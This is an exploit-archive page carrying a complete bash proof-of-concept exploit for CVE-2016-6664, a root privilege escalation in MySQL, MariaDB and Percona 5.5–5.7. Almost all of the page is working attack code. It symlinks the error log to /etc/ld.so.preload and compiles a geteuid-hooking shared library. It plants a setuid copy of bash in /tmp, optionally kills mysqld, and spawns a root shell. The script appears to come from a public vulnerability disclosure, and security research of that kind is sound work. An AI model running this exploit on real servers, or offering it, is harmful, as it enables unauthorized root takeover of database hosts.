MySQL / MariaDB / PerconaDB 5.5.x/5.6.x/5.7.x 'root' Privilege Escalation

Posted on 30 November -0001
<HTML><HEAD><TITLE>MySQL / MariaDB / PerconaDB 5.5.x/5.6.x/5.7.x 'root' Privilege Escalation</TITLE><META http-equiv="Content-Type" content="text/html; charset=utf-8"></HEAD><BODY>#!/bin/bash -p
#
# Source: https://legalhackers.com/advisories/MySQL-Maria-Percona-RootPrivEsc-CVE-2016-6664-5617-Exploit.html // http://legalhackers.com/exploits/CVE-2016-6664/mysql-chowned.sh
#
# MySQL / MariaDB / PerconaDB - Root Privilege Escalation PoC Exploit
# mysql-chowned.sh (ver. 1.0)
#
# CVE-2016-6664 / OCVE-2016-5617
#
# Discovered and coded by:
#
# Dawid Golunski
# dawid[at]legalhackers.com
#
# https://legalhackers.com
#
# Follow https://twitter.com/dawid_golunski for updates on this advisory.
#
# This PoC exploit allows attackers to (instantly) escalate their privileges
# from mysql system account to root through unsafe error log handling.
# The exploit requires that file-based logging has been configured (default).
# To confirm that syslog logging has not been enabled instead use:
# grep -r syslog /etc/mysql
# which should return no results.
#
# This exploit can be chained with the following vulnerability:
# CVE-2016-6663 / OCVE-2016-5616
# which allows attackers to gain access to mysql system account (mysql shell).
#
# In case database server has been configured with syslog you may also use:
# CVE-2016-6662 as an alternative to this exploit.
#
# Usage:
# ./mysql-chowned.sh path_to_error.log 
#
#
# See the full advisory for details at:
# https://legalhackers.com/advisories/MySQL-Maria-Percona-RootPrivEsc-CVE-2016-6664-5617-Exploit.html
#
# Video PoC:
# https://legalhackers.com/videos/MySQL-MariaDB-PerconaDB-PrivEsc-Race-CVE-2016-6663-5616-6664-5617-Exploits.html
#
#
# Disclaimer:
# For testing purposes only. Do no harm.
#
 
BACKDOORSH="/bin/bash"
BACKDOORPATH="/tmp/mysqlrootsh"
PRIVESCLIB="/tmp/privesclib.so"
PRIVESCSRC="/tmp/privesclib.c"
SUIDBIN="/usr/bin/sudo"
 
function cleanexit {
    # Cleanup 
    echo -e "
[+] Cleaning up..."
    rm -f $PRIVESCSRC
    rm -f $PRIVESCLIB
    rm -f $ERRORLOG
    touch $ERRORLOG
    if [ -f /etc/ld.so.preload ]; then
        echo -n > /etc/ld.so.preload
    fi
    echo -e "
[+] Job done. Exiting with code $1 
"
    exit $1
}
 
function ctrl_c() {
        echo -e "
[+] Active exploitation aborted. Remember you can use -deferred switch for deferred exploitation."
    cleanexit 0
}
 
#intro 
echo -e "33[94m 
MySQL / MariaDB / PerconaDB - Root Privilege Escalation PoC Exploit 
mysql-chowned.sh (ver. 1.0)

CVE-2016-6664 / OCVE-2016-5617
"
echo -e "Discovered and coded by: 

Dawid Golunski 
http://legalhackers.com 33[0m"
 
# Args
if [ $# -lt 1 ]; then
    echo -e "
[!] Exploit usage: 

$0 path_to_error.log 
"
    echo -e "It seems that this server uses: `ps aux | grep mysql | awk -F'log-error=' '{ print $2 }' | cut -d' ' -f1 | grep '/'`
"
    exit 3
fi
 
# Priv check
 
echo -e "
[+] Starting the exploit as 
33[94m`id`33[0m"
id | grep -q mysql 
if [ $? -ne 0 ]; then
    echo -e "
[!] You need to execute the exploit as mysql user! Exiting.
"
    exit 3
fi
 
# Set target paths
ERRORLOG="$1"
if [ ! -f $ERRORLOG ]; then
    echo -e "
[!] The specified MySQL catalina.out log ($ERRORLOG) doesn't exist. Try again.
"
    exit 3
fi
echo -e "
[+] Target MySQL log file set to $ERRORLOG"
 
# [ Active exploitation ]
 
trap ctrl_c INT
# Compile privesc preload library
echo -e "
[+] Compiling the privesc shared library ($PRIVESCSRC)"
cat <<_solibeof_>$PRIVESCSRC
#define _GNU_SOURCE
#include <stdio.h>
#include <sys/stat.h>
#include <unistd.h>
#include <dlfcn.h>
       #include <sys/types.h>
       #include <sys/stat.h>
       #include <fcntl.h>
 
uid_t geteuid(void) {
    static uid_t  (*old_geteuid)();
    old_geteuid = dlsym(RTLD_NEXT, "geteuid");
    if ( old_geteuid() == 0 ) {
        chown("$BACKDOORPATH", 0, 0);
        chmod("$BACKDOORPATH", 04777);
        //unlink("/etc/ld.so.preload");
    }
    return old_geteuid();
}
_solibeof_
/bin/bash -c "gcc -Wall -fPIC -shared -o $PRIVESCLIB $PRIVESCSRC -ldl"
if [ $? -ne 0 ]; then
    echo -e "
[!] Failed to compile the privesc lib $PRIVESCSRC."
    cleanexit 2;
fi
 
 
# Prepare backdoor shell
cp $BACKDOORSH $BACKDOORPATH
echo -e "
[+] Backdoor/low-priv shell installed at: 
`ls -l $BACKDOORPATH`"
 
# Safety check
if [ -f /etc/ld.so.preload ]; then
    echo -e "
[!] /etc/ld.so.preload already exists. Exiting for safety."
    exit 2
fi
 
# Symlink the log file to /etc
rm -f $ERRORLOG && ln -s /etc/ld.so.preload $ERRORLOG
if [ $? -ne 0 ]; then
    echo -e "
[!] Couldn't remove the $ERRORLOG file or create a symlink."
    cleanexit 3
fi
echo -e "
[+] Symlink created at: 
`ls -l $ERRORLOG`"
 
# Wait for MySQL to re-open the logs
echo -ne "
[+] Waiting for MySQL to re-open the logs/MySQL service restart...
"
read -p "Do you want to kill mysqld process to instantly get root? :) ? [y/n] " THE_ANSWER
if [ "$THE_ANSWER" = "y" ]; then
    echo -e "Got it. Executing 'killall mysqld' now..."
    killall mysqld
fi
while :; do
    sleep 0.1
    if [ -f /etc/ld.so.preload ]; then
        echo $PRIVESCLIB > /etc/ld.so.preload
        rm -f $ERRORLOG
        break;
    fi
done
 
# /etc/ dir should be owned by mysql user at this point
# Inject the privesc.so shared library to escalate privileges
echo $PRIVESCLIB > /etc/ld.so.preload
echo -e "
[+] MySQL restarted. The /etc/ld.so.preload file got created with mysql privileges: 
`ls -l /etc/ld.so.preload`"
echo -e "
[+] Adding $PRIVESCLIB shared lib to /etc/ld.so.preload"
echo -e "
[+] The /etc/ld.so.preload file now contains: 
`cat /etc/ld.so.preload`"
chmod 755 /etc/ld.so.preload
 
# Escalating privileges via the SUID binary (e.g. /usr/bin/sudo)
echo -e "
[+] Escalating privileges via the $SUIDBIN SUID binary to get root!"
sudo 2>/dev/null >/dev/null
 
#while :; do 
#   sleep 0.1
#   ps aux | grep mysqld | grep -q 'log-error'
#   if [ $? -eq 0 ]; then
#       break;
#   fi
#done
 
# Check for the rootshell
ls -l $BACKDOORPATH
ls -l $BACKDOORPATH | grep rws | grep -q root
if [ $? -eq 0 ]; then
    echo -e "
[+] Rootshell got assigned root SUID perms at: 
`ls -l $BACKDOORPATH`"
    echo -e "
33[94mGot root! The database server has been ch-OWNED !33[0m"
else
    echo -e "
[!] Failed to get root"
    cleanexit 2
fi
 
 
# Execute the rootshell
echo -e "
[+] Spawning the rootshell $BACKDOORPATH now! 
"
$BACKDOORPATH -p -c "rm -f /etc/ld.so.preload; rm -f $PRIVESCLIB"
$BACKDOORPATH -p
 
# Job done.
cleanexit 0
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MySQL / MariaDB / PerconaDB 5.5.x/5.6.x/5.7.x 'root' Privilege Escalation
